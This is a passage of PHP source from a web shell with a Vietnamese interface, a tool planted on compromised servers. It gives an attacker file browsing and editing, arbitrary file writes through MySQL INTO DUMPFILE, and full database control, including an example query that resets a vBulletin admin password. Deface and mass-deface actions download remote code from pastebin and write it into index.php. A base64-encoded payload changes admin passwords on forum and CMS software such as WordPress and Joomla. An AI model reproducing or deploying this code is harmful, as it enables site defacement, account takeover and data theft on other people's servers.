- p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
- p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
- p('<td nowrap>');
- p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Tải Xuống</a> | ');
- p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Sao Chép</a> | ');
- p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Chỉnh Sửa</a> | ');
- p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Đổi Tên</a> | ');
- p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Thời Gian</a>');
- p('</td></tr>');
- $file_i++;
- }
- }
- p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Tải File Đã Chọn</a> - <a href="javascript:dofile(\'delfiles\');">Xóa File Đã Chọn</a></td><td colspan="4" align="right">' . $dir_i . ' Thư Mục / ' . $file_i . ' files</td></tr>');
- p('</form></table>');
- } // end dir
- elseif ($action == 'sqlfile') {
- if ($doing == "mysqlupload") {
- $file = $_FILES['uploadfile'];
- $filename = $file['tmp_name'];
- if (file_exists($savepath)) {
- m('The goal file has already existed');
- } else {
- if (!$filename) {
- m('Please choose a file');
- } else {
- $fp = @fopen($filename, 'r');
- $contents = @fread($fp, filesize($filename));
- @fclose($fp);
- $contents = bin2hex($contents);
- if (!$upname) $upname = $file['name'];
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
- $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
- m($result ? 'Upload success' : 'Upload has failed: ' . mysql_error());
- }
- }
- }
- ?>
- <script type="text/javascript">
- function mysqlfile(doing){
- if(!doing) return;
- $('doing').value=doing;
- $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
- $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
- $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
- $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
- $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
- $('mysqlfile').charset.value=$('dbinfo').charset.value;
- $('mysqlfile').submit();
- }
- </script>
- <?php
- !$dbhost && $dbhost = 'localhost';
- !$dbuser && $dbuser = 'root';
- !$dbport && $dbport = '3306';
- $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
- formhead(array('title' => 'MYSQL Information', 'name' => 'dbinfo'));
- makehide('action', 'sqlfile');
- p('<p>');
- p('DBHost:');
- makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
- p(':');
- makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
- p('DBUser:');
- makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
- p('DBPass:');
- makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
- p('DBName:');
- makeinput(array('name' => 'dbname', 'size' => 15, 'value' => $dbname));
- p('DBCharset:');
- makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
- p('</p>');
- formfoot();
- p('<form action="' . $self . '" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
- p('<h2>Upload file</h2>');
- p('<p><b>This operation the DB user must has FILE privilege</b></p>');
- p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
- p('<h2>Download file</h2>');
- p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
- makehide('dbhost');
- makehide('dbport');
- makehide('dbuser');
- makehide('dbpass');
- makehide('dbname');
- makehide('charset');
- makehide('doing');
- makehide('action', 'sqlfile');
- p('</form>');
- } elseif ($action == 'sqladmin') {
- !$dbhost && $dbhost = 'localhost';
- !$dbuser && $dbuser = 'root';
- !$dbport && $dbport = '3306';
- $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
- if (isset($dbhost)) {
- $dbform.= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
- }
- if (isset($dbuser)) {
- $dbform.= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
- }
- if (isset($dbpass)) {
- $dbform.= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
- }
- if (isset($dbport)) {
- $dbform.= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
- }
- if (isset($dbname)) {
- $dbform.= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
- }
- if (isset($charset)) {
- $dbform.= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
- }
- if ($doing == 'backupmysql' && $saveasfile) {
- if (!$table) {
- m('Please choose the table');
- } else {
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
- $table = array_flip($table);
- $fp = @fopen($path, 'w');
- if ($fp) {
- $result = q('SHOW tables');
- if (!$result) p('<h2>' . mysql_error() . '</h2>');
- $mysqldata = '';
- while ($currow = mysql_fetch_array($result)) {
- if (isset($table[$currow[0]])) {
- sqldumptable($currow[0], $fp);
- }
- }
- fclose($fp);
- $fileurl = str_replace(SA_ROOT, '', $path);
- m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
- mysql_close();
- } else {
- m('Backup failed');
- }
- }
- }
- if ($insert && $insertsql) {
- $keystr = $valstr = $tmp = '';
- foreach ($insertsql as $key => $val) {
- if ($val) {
- $keystr.= $tmp . $key;
- $valstr.= $tmp . "'" . addslashes($val) . "'";
- $tmp = ',';
- }
- }
- if ($keystr && $valstr) {
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
- m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
- }
- }
- if ($update && $insertsql && $base64) {
- $valstr = $tmp = '';
- foreach ($insertsql as $key => $val) {
- $valstr.= $tmp . $key . "='" . addslashes($val) . "'";
- $tmp = ',';
- }
- if ($valstr) {
- $where = base64_decode($base64);
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
- m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
- }
- }
- if ($doing == 'del' && $base64) {
- $where = base64_decode($base64);
- $delete_sql = "DELETE FROM $tablename WHERE $where";
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
- m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
- }
- if ($tablename && $doing == 'drop') {
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
- if (q("DROP TABLE $tablename")) {
- m('Drop table of success');
- $tablename = '';
- } else {
- m(mysql_error());
- }
- }
- $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
- formhead(array('title' => 'MYSQL Manager'));
- makehide('action', 'sqladmin');
- p('<p>');
- p('DBHost:');
- makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
- p(':');
- makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
- p('DBUser:');
- makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
- p('DBPass:');
- makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
- p('DBCharset:');
- makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
- makeinput(array('name' => 'connect', 'value' => 'Connect', 'type' => 'submit', 'class' => 'bt'));
- p('</p>');
- formfoot();
- ?>
- <script type="text/javascript">
- function editrecord(action, base64, tablename){
- if (action == 'del') {
- if (!confirm('Is or isn\'t deletion record?')) return;
- }
- $('recordlist').doing.value=action;
- $('recordlist').base64.value=base64;
- $('recordlist').tablename.value=tablename;
- $('recordlist').submit();
- }
- function moddbname(dbname) {
- if(!dbname) return;
- $('setdbname').dbname.value=dbname;
- $('setdbname').submit();
- }
- function settable(tablename,doing,page) {
- if(!tablename) return;
- if (doing) {
- $('settable').doing.value=doing;
- }
- if (page) {
- $('settable').page.value=page;
- }
- $('settable').tablename.value=tablename;
- $('settable').submit();
- }
- </script>
- <?php
- // SQL
- formhead(array('name' => 'recordlist'));
- makehide('doing');
- makehide('action', 'sqladmin');
- makehide('base64');
- makehide('tablename');
- p($dbform);
- formfoot();
- // Data
- formhead(array('name' => 'setdbname'));
- makehide('action', 'sqladmin');
- p($dbform);
- if (!$dbname) {
- makehide('dbname');
- }
- formfoot();
- formhead(array('name' => 'settable'));
- makehide('action', 'sqladmin');
- p($dbform);
- makehide('tablename');
- makehide('page', $page);
- makehide('doing');
- formfoot();
- $cachetables = array();
- $pagenum = 30;
- $page = intval($page);
- if ($page) {
- $start_limit = ($page - 1) * $pagenum;
- } else {
- $start_limit = 0;
- $page = 1;
- }
- if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
- // get mysql server
- $mysqlver = mysql_get_server_info();
- p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
- $highver = $mysqlver > '4.1' ? 1 : 0;
- // Show database
- $query = q("SHOW DATABASES");
- $dbs = array();
- $dbs[] = '-- Select a database --';
- while ($db = mysql_fetch_array($query)) {
- $dbs[$db['Database']] = $db['Database'];
- }
- makeselect(array('title' => 'Please select a database:', 'name' => 'db[]', 'option' => $dbs, 'selected' => $dbname, 'onchange' => 'moddbname(this.options[this.selectedIndex].value)', 'newline' => 1));
- $tabledb = array();
- if ($dbname) {
- p('<p>');
- p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
- if ($tablename) {
- p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
- }
- p('</p>');
- mysql_select_db($dbname);
- $getnumsql = '';
- $runquery = 0;
- if ($sql_query) {
- $runquery = 1;
- }
- $allowedit = 0;
- if ($tablename && !$sql_query) {
- $sql_query = "SELECT * FROM $tablename";
- $getnumsql = $sql_query;
- $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
- $allowedit = 1;
- }
- p('<form action="' . $self . '" method="POST">');
- p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
- </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
- makehide('tablename', $tablename);
- makehide('action', 'sqladmin');
- p($dbform);
- p('</form>');
- if ($tablename || ($runquery && $sql_query)) {
- if ($doing == 'structure') {
- $result = q("SHOW COLUMNS FROM $tablename");
- $rowdb = array();
- while ($row = mysql_fetch_array($result)) {
- $rowdb[] = $row;
- }
- p('<table border="0" cellpadding="3" cellspacing="0">');
- p('<tr class="head">');
- p('<td>Field</td>');
- p('<td>Type</td>');
- p('<td>Null</td>');
- p('<td>Key</td>');
- p('<td>Default</td>');
- p('<td>Extra</td>');
- p('</tr>');
- foreach ($rowdb as $row) {
- $thisbg = bg();
- p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
- p('<td>' . $row['Field'] . '</td>');
- p('<td>' . $row['Type'] . '</td>');
- p('<td>' . $row['Null'] . ' </td>');
- p('<td>' . $row['Key'] . ' </td>');
- p('<td>' . $row['Default'] . ' </td>');
- p('<td>' . $row['Extra'] . ' </td>');
- p('</tr>');
- }
- tbfoot();
- } elseif ($doing == 'insert' || $doing == 'edit') {
- $result = q('SHOW COLUMNS FROM ' . $tablename);
- while ($row = mysql_fetch_array($result)) {
- $rowdb[] = $row;
- }
- $rs = array();
- if ($doing == 'insert') {
- p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
- } else {
- p('<h2>Update record in ' . $tablename . ' table »</h2>');
- $where = base64_decode($base64);
- $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
- $rs = mysql_fetch_array($result);
- }
- p('<form method="post" action="' . $self . '">');
- p($dbform);
- makehide('action', 'sqladmin');
- makehide('tablename', $tablename);
- p('<table border="0" cellpadding="3" cellspacing="0">');
- foreach ($rowdb as $row) {
- if ($rs[$row['Field']]) {
- $value = htmlspecialchars($rs[$row['Field']]);
- } else {
- $value = '';
- }
- $thisbg = bg();
- p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
- p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
- }
- if ($doing == 'insert') {
- p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
- } else {
- p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
- makehide('base64', $base64);
- }
- p('</table></form>');
- } else {
- $querys = @explode(';', $sql_query);
- foreach ($querys as $num => $query) {
- if ($query) {
- p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
- switch (qy($query)) {
- case 0:
- p('<h2>Error : ' . mysql_error() . '</h2>');
- break;
- case 1:
- if (strtolower(substr($query, 0, 13)) == 'select * from') {
- $allowedit = 1;
- }
- if ($getnumsql) {
- $tatol = mysql_num_rows(q($getnumsql));
- $multipage = multi($tatol, $pagenum, $page, $tablename);
- }
- if (!$tablename) {
- $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
- $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
- preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
- $tablename = $matches[1][0];
- }
- $result = q($query);
- p($multipage);
- p('<table border="0" cellpadding="3" cellspacing="0">');
- p('<tr class="head">');
- if ($allowedit) p('<td>Action</td>');
- $fieldnum = @mysql_num_fields($result);
- for ($i = 0;$i < $fieldnum;$i++) {
- $name = @mysql_field_name($result, $i);
- $type = @mysql_field_type($result, $i);
- $len = @mysql_field_len($result, $i);
- p("<td nowrap>$name<br><span>$type($len)</span></td>");
- }
- p('</tr>');
- while ($mn = @mysql_fetch_assoc($result)) {
- $thisbg = bg();
- p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
- $where = $tmp = $b1 = '';
- foreach ($mn as $key => $inside) {
- if ($inside) {
- $where.= $tmp . $key . "='" . addslashes($inside) . "'";
- $tmp = ' AND ';
- }
- $b1.= '<td nowrap>' . html_clean($inside) . ' </td>';
- }
- $where = base64_encode($where);
- if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Ch?nh S?a</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">X\F3a</a></td>');
- p($b1);
- p('</tr>');
- unset($b1);
- }
- tbfoot();
- p($multipage);
- break;
- case 2:
- $ar = mysql_affected_rows();
- p('<h2>affected rows : <b>' . $ar . '</b></h2>');
- break;
- }
- }
- }
- }
- } else {
- $query = q("SHOW TABLE STATUS");
- $table_num = $table_rows = $data_size = 0;
- $tabledb = array();
- while ($table = mysql_fetch_array($query)) {
- $data_size = $data_size + $table['Data_length'];
- $table_rows = $table_rows + $table['Rows'];
- $table['Data_length'] = sizecount($table['Data_length']);
- $table_num++;
- $tabledb[] = $table;
- }
- $data_size = sizecount($data_size);
- unset($table);
- p('<table border="0" cellpadding="0" cellspacing="0">');
- p('<form action="' . $self . '" method="POST">');
- makehide('action', 'sqladmin');
- p($dbform);
- p('<tr class="head">');
- p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
- p('<td>Name</td>');
- p('<td>Rows</td>');
- p('<td>Data_length</td>');
- p('<td>Create_time</td>');
- p('<td>Update_time</td>');
- if ($highver) {
- p('<td>Engine</td>');
- p('<td>Collation</td>');
- }
- p('</tr>');
- foreach ($tabledb as $key => $table) {
- $thisbg = bg();
- p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
- p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
- p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
- p('<td>' . $table['Rows'] . '</td>');
- p('<td>' . $table['Data_length'] . '</td>');
- p('<td>' . $table['Create_time'] . '</td>');
- p('<td>' . $table['Update_time'] . '</td>');
- if ($highver) {
- p('<td>' . $table['Engine'] . '</td>');
- p('<td>' . $table['Collation'] . '</td>');
- }
- p('</tr>');
- }
- p('<tr class=fout>');
- p('<td> </td>');
- p('<td>Total tables: ' . $table_num . '</td>');
- p('<td>' . $table_rows . '</td>');
- p('<td>' . $data_size . '</td>');
- p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
- p('</tr>');
- p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
- makehide('doing', 'backupmysql');
- formfoot();
- p("</table>");
- fr($query);
- }
- }
- }
- tbfoot();
- @mysql_close();
- } //end sql backup
- //deface
- elseif ($action == 'deface') {
- $index = 'http://pastebin.com/raw.php?i=rPy0QPdP';
- $get18 = file_get_contents($index);
- $nam18 = fopen('index.php', 'w');
- fwrite($nam18, $get18);
- fclose($nam18);
- echo "<iframe src='index.php' width='100%' height='500'></iframe>";
- }
- //mass deface
- elseif ($action == 'mass') {
- $mass = 'http://pastebin.com/raw.php?i=xct83ZZZ';
- $massdf = file_get_contents($mass);
- $mdf = fopen('massdf.php', 'w');
- fwrite($mdf, $massdf);
- fclose($mdf);
- echo "<iframe src='massdf.php' width='100%' height='500'></iframe>";
- }
- //reip
- elseif ($action == 'reip') {
- echo "<iframe src='http://www.yougetsignal.com/tools/web-sites-on-web-server/' width='100%' height='500'></iframe>";
- }
- //Changes
- elseif ($action == 'changepas') {
- $file = fopen($dir . "change-pas.php", "w+");
- $perltoolss = '
- PD9waHAKLy9CZWdpbmluZyBvZiBDb2RpbmcKZXJyb3JfcmVwb3J0aW5nKDApOwogICAgJGluZm8gPSAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107CiAgICAkc2l0ZSA9IGdldGVudigiSFRUUF9IT1NUIik7CiAgICAkcGFnZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOwogICAgJHNuYW1lID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107CiAgICAkdW5hbWUgPSBwaHBfdW5hbWUoKTsKICAgICRzbW9kID0gaW5pX2dldCgnc2FmZV9tb2RlJyk7CiAgICAkZGlzZnVuYyA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAkeW91cmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CiAgICAkc2VydmVyaXAgPSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTsKCQovL1RpdGxlCmVjaG8gIjxoZWFkPgo8c3R5bGU+CmJvZHkgeyBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgZm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2E7CiAgICAgICAgICAgIHNjcm9sbGJhci13aWR0aDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWhlaWdodDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWZhY2UtY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiBzaWx2ZXI7CiAgICAgICAgICAgIHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6IHNpbHZlcjsKICAgICAgICAgICAgc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6c2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogc2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItdHJhY2stY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItYXJyb3ctY29sb3I6IHNpbHZlcjsKICAgIH0KPC9zdHlsZT4KPHRpdGxlPkt5bUxqbmsgLSBbJHNpdGVdPC90aXRsZT48L2hlYWQ+IjsKLy9CdXR0b24gTGlzdAplY2hvICI8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbicnPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXZidWxsZXRpbiB2YWx1ZT0ndkJ1bGxldGluJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1teWJiIHZhbHVlPSdNeUJCJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1waHBiYiB2YWx1ZT0ncGhwQkInPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNtZiB2YWx1ZT0nU01GJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT13aG1jcyB2YWx1ZT0nV0hNQ1MnPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXdvcmRwcmVzcyB2YWx1ZT0nV29yZFByZXNzJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1qb29tbGEgdmFsdWU9J0pvb21sYSc+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9cGhwLW51a2UgdmFsdWU9J1BIUC1OVUtFJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT11cCB2YWx1ZT0nVHJhaWRudCBVUCc+PC9mb3JtPjwvY2VudGVyPiI7CmZ1bmN0aW9uIHVwZGF0ZSgpCnsKCWVjaG8gIlsrXSBVcGRhdGUgSGFzIERvbmUgXl9eIjsKfQovL3ZCdWxsZXRpbgppZiAoaXNzZXQoJF9QT1NUWyd2YnVsbGV0aW4nXSkpCnsKZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPgo8dHI+PHRkPgo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHZCdWxsZXRpbiBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL2FkbWluY3A8YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL2luY2x1ZGVzL2NvbmZpZy5waHA8YnI+aW5jbHVkZXMvaW5pdC5waHAgPC9mb250Pgo8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyNGRjAwMDAnPj4+PC9mb250Pjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+IGluY2x1ZGVzL2NsYXNzX2NvcmUucGhwIDwvZm9udD4KPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjRkYwMDAwJz4+PjwvZm9udD48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPiBpbmNsdWRlcy9jb25maWcucGhwPC9mb250PjwvY2VudGVyPgogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdmFsdWU9bG9jYWxob3N0IHR5cGU9dGV4dCBuYW1lPWRiaHZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1mb3J1bXMgdHlwZT10ZXh0IG5hbWU9ZGJudmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1dmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwdmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VGFibGUgcHJlZml4PGJyPjwvZm9udD48aW5wdXQgdmFsdWU9dmJfIHR5cGU9dGV4dCBuYW1lPXBydmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHR5cGU9dGV4dCBuYW1lPXVydmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TmV3IHBhc3N3b3JkIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXBhc3N3b3JkIG5hbWU9cHN2YiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5OZXcgRS1tYWlsIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9eW91ci1lbWFpbEB4eHh4LmNvbSB0eXBlPXRleHQgbmFtZT1lbXZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZ